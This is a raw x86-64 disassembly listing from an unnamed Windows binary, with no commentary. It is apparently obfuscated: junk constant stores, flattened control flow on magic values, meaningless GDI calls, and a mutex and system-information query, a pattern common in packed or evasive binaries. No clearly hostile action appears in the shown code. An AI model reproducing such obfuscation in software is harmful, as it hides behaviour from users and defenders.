mov eax, 0x7cb
mov word [rsp + 0xbc8], ax
mov byte [rsp + 0x18c], 0x50
mov eax, 0x4e4
mov word [rsp + 0xbcc], ax
mov byte [rsp + 0x18d], 0x70
movabs rax, 0x7754de707d110a
mov qword [rsp + 0x3900], rax
mov byte [rsp + 0x18e], 0x2a
mov byte [rsp + 0x18f], 0x3f
mov byte [rsp + 0x190], 0xc0
mov byte [rsp + 0x191], 0x7c
mov eax, 0x183
mov word [rsp + 0xbd0], ax
mov eax, 0xb33
mov word [rsp + 0xbd4], ax
mov dword [rsp + 0x1f20], 0x7874448a
mov byte [rsp + 0x192], 0xc4
movabs rax, 0x7cc824f09e3a6b
mov qword [rsp + 0x3908], rax
movabs rax, 0x773f18999dc5ad
mov qword [rsp + 0x3910], rax
mov dword [rsp + 0x1f24], 0x1c90
mov byte [rsp + 0x193], 0xa0
mov byte [rsp + 0x194], 6
movabs rax, 0x7efaf202f9715a
mov qword [rsp + 0x3918], rax
movabs rax, 0x7379778ad6264a
mov qword [rsp + 0x3920], rax
mov byte [rsp + 0x195], 0x41
mov byte [rsp + 0x196], 0x7a
mov dword [rsp + 0x1f28], 0x2e73
movabs rax, 0x73971d2738b95b
mov qword [rsp + 0x3928], rax
mov byte [rsp + 0x197], 0x5b
mov byte [rsp + 0x198], 0x78
mov eax, 0x611
mov word [rsp + 0xbd8], ax
mov eax, 0x8a
mov word [rsp + 0xbdc], ax
mov eax, 0x1f6
mov word [rsp + 0xbe0], ax
movabs rax, 0x7b014a1a12e32c
mov qword [rsp + 0x3930], rax
mov byte [rsp + 0x199], 0x51
movabs rax, 0x7480809cfca4cc
mov qword [rsp + 0x3938], rax
mov eax, 0xc5d
mov word [rsp + 0xbe4], ax
mov eax, 0x32b
mov word [rsp + 0xbe8], ax
mov byte [rsp + 0x19a], 0x16
mov dword [rsp + 0x1f2c], 0x78c36337
mov eax, 0x25
mov word [rsp + 0xbec], ax
mov byte [rsp + 0x19b], 0x11
mov eax, 0x290
mov word [rsp + 0xbf0], ax
movabs rax, 0x77916cca8837f8
mov qword [rsp + 0x3940], rax
mov eax, 0xe7a
mov word [rsp + 0xbf4], ax
mov byte [rsp + 0x19c], 0x2b
mov byte [rsp + 0x19d], 8
mov byte [rsp + 0x19e], 0x57
movabs rax, 0x75b11641a1876d
mov qword [rsp + 0x3948], rax
mov byte [rsp + 0x19f], 0x1c
mov dword [rsp + 0x1f30], 0x59ca
movabs rax, 0x716c7d1f4a5c5a
mov qword [rsp + 0x3950], rax
mov eax, 0x3e
mov word [rsp + 0xbf8], ax
movabs rax, 0x75ff56ac59f876
mov qword [rsp + 0x3958], rax
movabs rax, 0x75b12a78f708b6
mov qword [rsp + 0x3960], rax
mov dword [rsp + 0x1f34], 0x2f4d
mov byte [rsp + 0x1a0], 0x64
movabs rax, 0x7b711b9317f438
mov qword [rsp + 0x3968], rax
movabs rax, 0x7a6a04a8389dd7
mov qword [rsp + 0x3970], rax
movabs rax, 0x7198d476bf48c5
mov qword [rsp + 0x3978], rax
movabs rax, 0x701e057f8aa8e4
mov qword [rsp + 0x3980], rax
mov dword [rsp + 0x1f38], 0x2ed81770
mov eax, 0xf6
mov word [rsp + 0xbfc], ax
mov byte [rsp + 0x1a1], 0x9f
mov eax, 0x502
mov word [rsp + 0xc00], ax
movabs rax, 0x77adfadf368cd4
mov qword [rsp + 0x3988], rax
mov eax, 0xbbc
mov word [rsp + 0xc04], ax
movabs rax, 0x745446d85369c9
mov qword [rsp + 0x3990], rax
mov eax, 0x52b
mov word [rsp + 0xc08], ax
movabs rax, 0x7eb2019bc473ec
mov qword [rsp + 0x3998], rax
mov dword [rsp + 0x1f3c], 0x868b
mov eax, 0xbce
mov word [rsp + 0xc0c], ax
mov eax, 0x43a
mov word [rsp + 0xc10], ax
mov eax, 0x528
mov word [rsp + 0xc14], ax
movabs rax, 0x7db6dfe1f13e97
mov qword [rsp + 0x39a0], rax
mov eax, 0x862
mov word [rsp + 0xc18], ax
mov byte [rsp + 0x1a2], 0x22
mov byte [rsp + 0x1a3], 0x74
mov eax, 0x78f
mov word [rsp + 0xc1c], ax
mov eax, 0x9d2
mov word [rsp + 0xc20], ax
movabs rax, 0x7749927b1bf0e7
mov qword [rsp + 0x39a8], rax
movabs rax, 0x7d6da528688f33
mov qword [rsp + 0x39b0], rax
movabs rax, 0x7451886ba41e54
mov qword [rsp + 0x39b8], rax
movabs rax, 0x7b529d9ba19984
mov qword [rsp + 0x39c0], rax
mov eax, 0x700
mov word [rsp + 0xc24], ax
mov eax, 0xafb
mov word [rsp + 0xc28], ax
mov eax, 0x23a
mov word [rsp + 0xc2c], ax
mov byte [rsp + 0x1a4], 0x12
movabs rax, 0x7a401c7ce0ae6a
mov qword [rsp + 0x39c8], rax
movabs rax, 0x73b41a853c5075
mov qword [rsp + 0x39d0], rax
movabs rax, 0x7c79e623faec39
mov qword [rsp + 0x39d8], rax
mov dword [rsp + 0x1f40], 0x2a4e
mov eax, 0x148
mov word [rsp + 0xc30], ax
movabs rax, 0x787dd80e48a6d2
mov qword [rsp + 0x39e0], rax
mov eax, 0x77
mov word [rsp + 0xc34], ax
movabs rax, 0x73da78e1e41d05
mov qword [rsp + 0x39e8], rax
mov byte [rsp + 0x1a5], 0x16
mov dword [rsp + 0x1f44], 0x721f
movabs rax, 0x74a2c1fbf386f9
mov qword [rsp + 0x39f0], rax
movabs rax, 0x746ae688bd2d6f
mov qword [rsp + 0x39f8], rax
mov eax, 0xf94
mov word [rsp + 0xc38], ax
mov eax, 0x713
mov word [rsp + 0xc3c], ax
mov eax, 0x353
mov word [rsp + 0xc40], ax
mov dword [rsp + 0x1f48], 0x14be
movabs rax, 0x727d7050c8e825
mov qword [rsp + 0x3a00], rax
mov byte [rsp + 0x1a6], 0x17
mov byte [rsp + 0x1a7], 0x5a
mov eax, 0x7c5
mov word [rsp + 0xc44], ax
mov dword [rsp + 0x1f4c], 0xa405
mov eax, 0x6fc
mov word [rsp + 0xc48], ax
movabs rax, 0x7d2529e0d9ae38
mov qword [rsp + 0x3a08], rax
mov eax, 0xb69
mov word [rsp + 0xc4c], ax
mov byte [rsp + 0x1a8], 0x12
mov byte [rsp + 0x1a9], 0x56
mov eax, 0x5df
mov word [rsp + 0xc50], ax
mov dword [rsp + 0x1f50], 0xa166
movabs rax, 0x79846803f50cbd
mov qword [rsp + 0x3a10], rax
movabs rax, 0x742f4c88455635
mov qword [rsp + 0x3a18], rax
movabs rax, 0x7a247234d1c4f9
mov qword [rsp + 0x3a20], rax
mov byte [rsp + 0x1aa], 0x2e
mov dword [rsp + 0x1f54], 0xeb10
mov eax, 0x660
mov word [rsp + 0xc54], ax
mov dword [rsp + 0x1f58], 0x621bc6d5
movabs rax, 0x786434215d9e33
mov qword [rsp + 0x3a28], rax
mov eax, 0x249
mov word [rsp + 0xc58], ax
mov eax, dword [rsp + 0x1c58]
add eax, 0xf8af
mov dword [rsp + 0x1c58], eax
mov dword [rsp + 0x1f5c], 0x351c
cmp dword [rsp + 0x1c58], 0x50db
ja 0x14001c100
mov eax, dword [rsp + 0x1c58]
add eax, 0xc045
mov dword [rsp + 0x1c58], eax
movsx eax, word [rsp + 0xc58]
sub eax, 0x45f
mov word [rsp + 0xc58], ax
mov eax, dword [rsp + 0x1c58]
and eax, 0x3ae
mov dword [rsp + 0x1c58], eax
lea r9, [rsp + 0x3a30]
mov r8d, 9
mov edx, 0x8f
mov rcx, qword [rsp + 0x3a30]
call qword [sym.imp.GDI32.dll_SetBrushOrgEx]
mov dword [rsp + 0x1f60], eax
movsx eax, word [rsp + 0xc58]
sar eax, 5
mov word [rsp + 0xc58], ax
movsx eax, word [rsp + 0xc58]
add eax, 0xa5
mov word [rsp + 0xc58], ax
mov eax, dword [rsp + 0x1c58]
sub eax, 0x6c5b
mov dword [rsp + 0x1c58], eax
movsx eax, word [rsp + 0xc58]
or eax, 0x7b9
mov word [rsp + 0xc58], ax
movsx eax, word [rsp + 0xc58]
xor eax, 0x7c9
mov word [rsp + 0xc58], ax
movsx eax, word [rsp + 0xc58]
shl eax, 0xc
mov word [rsp + 0xc58], ax
jmp 0x1400f2eb1
movsx eax, word [rsp + 0xc58]
cmp eax, 0x55c
jge 0x1400f2eb1
lea rax, [rsp + 0x1c58]
mov qword [rsp + 0x3a38], rax
mov dword [rsp + 0x1f64], 0xd2ad
lea rax, [rsp + 0x1f68]
mov qword [rsp + 0x3a40], rax
mov dword [rsp + 0x1f6c], 0x8451
mov rax, qword [rsp + 0x3a38]
mov ecx, dword [rsp + 0x1c58]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc58]
sar eax, 8
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
add eax, 0xec5b
mov dword [rsp + 0x1c58], eax
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1f68]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
and eax, 0x1dca
mov dword [rsp + 0x1c58], eax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
shr eax, 0x12
mov dword [rsp + 0x1c58], eax
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1f68]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc58]
add eax, 0x564
mov word [rsp + 0xc58], ax
mov eax, dword [rsp + 0x1f68]
and eax, 0x3b356231
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1f68]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc58]
shl eax, 3
mov word [rsp + 0xc58], ax
mov eax, dword [rsp + 0x1f68]
xor eax, 0x44382000
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1f68]
mov rcx, qword [rsp + 0x3a40]
mov qword [rsp + 0x3a48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3a48]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1f6c]
add eax, 0xe3
mov dword [rsp + 0x1f6c], eax
mov rax, qword [rsp + 0x3a38]
mov ecx, dword [rsp + 0x1c58]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1c58]
sub eax, 0xa364
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1f68]
and eax, 0x7e9add95
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
mov dword [rsp + 0x1f68], eax
mov eax, dword [rsp + 0x1f68]
sub eax, 0x1469c930
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1f68]
add eax, 0x4a17f81
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
cmp dword [rsp + 0x1f6c], 0x919e
jne 0x14001c149
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
mov dword [rsp + 0x1f70], eax
cmp dword [rsp + 0x1f70], 0x23096ca2
jg 0x14001c3b6
cmp dword [rsp + 0x1f70], 0x23096ca2
je 0x14001cbd8
cmp dword [rsp + 0x1f70], 0x66e4114
je 0x14001c936
cmp dword [rsp + 0x1f70], 0xaa13fde
je 0x14001c790
cmp dword [rsp + 0x1f70], 0xeb99efd
je 0x14001c888
cmp dword [rsp + 0x1f70], 0x21a10e1b
je 0x14001ca3d
jmp 0x14001cc73
cmp dword [rsp + 0x1f70], 0x344fb651
je 0x14001c3fb
cmp dword [rsp + 0x1f70], 0x495b2be8
je 0x14001c9a1
cmp dword [rsp + 0x1f70], 0x49c82fd0
je 0x14001c720
cmp dword [rsp + 0x1f70], 0x4f709b89
je 0x14001ca98
jmp 0x14001cc73
movzx eax, word [rsp + 0xc58]
mov word [rsp + 0xc5c], ax
mov eax, dword [rsp + 0x1f68]
mov dword [rsp + 0x1f74], eax
cmp dword [rsp + 0x1f74], 0x344fb651
jg 0x14001c480
cmp dword [rsp + 0x1f74], 0x344fb651
je 0x14001c4c9
cmp dword [rsp + 0x1f74], 0xed4bcb6
je 0x14001c63c
cmp dword [rsp + 0x1f74], 0x143aafc7
je 0x14001c6eb
cmp dword [rsp + 0x1f74], 0x1c6541f8
je 0x14001c6b2
cmp dword [rsp + 0x1f74], 0x2e0d1d57
je 0x14001c5f8
jmp 0x14001c71b
cmp dword [rsp + 0x1f74], 0x3efd7f73
je 0x14001c6ca
cmp dword [rsp + 0x1f74], 0x43af36f3
je 0x14001c6fb
cmp dword [rsp + 0x1f74], 0x47e370dc
je 0x14001c65e
cmp dword [rsp + 0x1f74], 0x63c1f77d
je 0x14001c680
jmp 0x14001c71b
lea rax, [rsp + 0xc58]
mov qword [rsp + 0x3a50], rax
mov eax, dword [rsp + 0x1f68]
mov dword [rsp + 0x1f78], eax
cmp dword [rsp + 0x1f78], 0x343d56b1
je 0x14001c51b
cmp dword [rsp + 0x1f78], 0x344fb651
je 0x14001c595
cmp dword [rsp + 0x1f78], 0x6fce64c3
je 0x14001c5cd
jmp 0x14001c5e5
mov eax, dword [rsp + 0x1f68]
and eax, 0x29efe6c7
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1c58]
mov rcx, qword [rsp + 0x3a38]
mov qword [rsp + 0x3a58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3a58]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x3a60]
call qword [sym.imp.GDI32.dll_GetBkColor]
mov dword [rsp + 0x1f7c], eax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc58], ax
jmp 0x14001c5f3
lea rax, [rsp + 0x1f7c]
mov qword [rsp + 0x3a68], rax
mov dword [rsp + 0x1f80], 0xb3fb
lea rax, [rsp + 0xc5c]
mov qword [rsp + 0x3a70], rax
mov dword [rsp + 0x1f84], 0x531d
jmp 0x14001c5f3
mov eax, dword [rsp + 0x1f68]
sub eax, 0x2edfe884
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
jmp 0x14001c5f3
mov eax, dword [rsp + 0x1c58]
mov dword [rsp + 0x1f7c], eax
jmp 0x14001c71b
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c58]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
jmp 0x14001c71b
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc58], ax
jmp 0x14001c71b
movsx eax, word [rsp + 0xc58]
movsx ecx, word [rsp + 0xc5c]
and eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
jmp 0x14001c71b
mov eax, dword [rsp + 0x1f68]
mov rcx, qword [rsp + 0x3a40]
mov qword [rsp + 0x3a78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3a78]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
jmp 0x14001c71b
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
add eax, 0x2a6f0c9b
mov dword [rsp + 0x1f68], eax
jmp 0x14001c71b
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c58]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
jmp 0x14001c71b
mov eax, dword [rsp + 0x1c58]
mov dword [rsp + 0x1f7c], eax
jmp 0x14001c71b
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
and eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
jmp 0x14001cc73
movsx eax, word [rsp + 0xc58]
movsx ecx, word [rsp + 0xc5c]
add eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov edx, 0xae
lea rcx, [rsp + 0x3a40]
call qword [sym.imp.GDI32.dll_GetRasterizerCaps]
mov dword [rsp + 0x1f88], eax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov dword [rsp + 0x1f7c], eax
jmp 0x14001cc73
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f7c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1f7c]
mov rcx, qword [rsp + 0x3a38]
mov qword [rsp + 0x3a80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3a80]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a68]
mov ecx, dword [rsp + 0x1c58]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov dword [rsp + 0x1f7c], eax
mov eax, dword [rsp + 0x1f68]
sub eax, 0x69fe6947
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
jmp 0x14001cc73
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
sar eax, cl
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
and eax, 0x72017ac7
mov dword [rsp + 0x1f68], eax
mov eax, dword [rsp + 0x1f7c]
mov ecx, dword [rsp + 0x1c58]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a68]
mov ecx, dword [rsp + 0x1f7c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a38]
mov ecx, dword [rsp + 0x1f7c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1c58], eax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
sub eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
jmp 0x14001cc73
mov eax, dword [rsp + 0x1f68]
mov rcx, qword [rsp + 0x3a40]
mov qword [rsp + 0x3a88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3a88]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov edx, 0xcd
mov rcx, qword [rsp + 0x3a60]
call qword [sym.imp.GDI32.dll_SetROP2]
mov dword [rsp + 0x1f8c], eax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f7c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1c58], eax
jmp 0x14001cc73
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f7c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc5c], ax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f7c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c58]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc5c], ax
jmp 0x14001cc73
mov eax, dword [rsp + 0x1f7c]
movzx ecx, al
mov eax, dword [rsp + 0x1c58]
shr eax, cl
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1f68]
mov ecx, dword [rsp + 0x1f8c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
and eax, ecx
mov word [rsp + 0xc5c], ax
jmp 0x14001cc73
movsx eax, word [rsp + 0xc58]
movsx ecx, word [rsp + 0xc5c]
add eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov eax, dword [rsp + 0x1f68]
mov dword [rsp + 0x1f8c], eax
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1f8c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1c58]
mov ecx, dword [rsp + 0x1f7c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc5c]
movsx ecx, word [rsp + 0xc58]
add eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov edx, 0x68
mov rcx, qword [rsp + 0x3a90]
call qword [sym.imp.GDI32.dll_SetDCBrushColor]
mov dword [rsp + 0x1f90], eax
mov eax, dword [rsp + 0x1f90]
mov ecx, dword [rsp + 0x1f7c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1c58], eax
mov eax, dword [rsp + 0x1f7c]
mov rcx, qword [rsp + 0x3a38]
mov qword [rsp + 0x3a98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3a98]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1c58], eax
movsx eax, word [rsp + 0xc58]
movsx ecx, word [rsp + 0xc5c]
xor eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc5c], ax
jmp 0x14001cc73
mov rax, qword [rsp + 0x3a38]
mov rcx, qword [rsp + 0x3a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
and eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc58], ax
mov eax, dword [rsp + 0x1f7c]
mov ecx, dword [rsp + 0x1f90]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f7c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
movabs rax, 0x7b715c0fb9d74a
mov rcx, qword [rsp + 0x2fa8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2fa8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x3aa0], rax
cmp dword [rsp + 0x1f64], 0xdccd
jae 0x14001ce3c
movsx eax, word [rsp + 0xc58]
movsx ecx, word [rsp + 0xc5c]
sub eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1f94], eax
mov eax, dword [rsp + 0x1c58]
mov ecx, dword [rsp + 0x1f7c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
lea rcx, [rsp + 0x157b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x1f8c]
mov rcx, qword [rsp + 0x3a40]
mov qword [rsp + 0x3aa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3aa8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov eax, dword [rsp + 0x1f64]
add eax, 0xa2
mov dword [rsp + 0x1f64], eax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
sar eax, cl
mov word [rsp + 0xc58], ax
mov eax, dword [rsp + 0x1f8c]
mov ecx, dword [rsp + 0x1f68]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
movabs rax, 0x773f8bbf81d1b6
mov rcx, qword [rsp + 0x2fa8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2fa8], rax
mov eax, dword [rsp + 0x1f7c]
mov dword [rsp + 0x1f90], eax
mov rax, qword [rsp + 0x3a68]
mov ecx, dword [rsp + 0x1c58]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
and eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a68]
mov rcx, qword [rsp + 0x3a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
jmp 0x14001cca8
mov eax, 0xf69
mov word [rsp + 0xc60], ax
cmp dword [rsp + 0x1f84], 0x46cb
jbe 0x14001d0af
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
sar eax, cl
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f68], eax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
and eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov eax, dword [rsp + 0x1f84]
sub eax, 0xa6
mov dword [rsp + 0x1f84], eax
mov eax, dword [rsp + 0x1f7c]
movzx ecx, al
mov eax, dword [rsp + 0x1f90]
shl eax, cl
mov dword [rsp + 0x1c58], eax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c58]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
movabs rax, 0x73f446d007b807
mov rcx, qword [rsp + 0x2fa8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2fa8], rax
mov rax, qword [rsp + 0x2fa8]
shr rax, 0x39
mov qword [rsp + 0x2fa8], rax
mov eax, dword [rsp + 0x1f68]
mov dword [rsp + 0x1f8c], eax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc5c], ax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
add eax, ecx
mov word [rsp + 0xc58], ax
movzx eax, word [rsp + 0xc60]
sub eax, 0xa44
mov word [rsp + 0xc60], ax
movsx eax, word [rsp + 0xc5c]
movsx ecx, word [rsp + 0xc58]
add eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
and eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
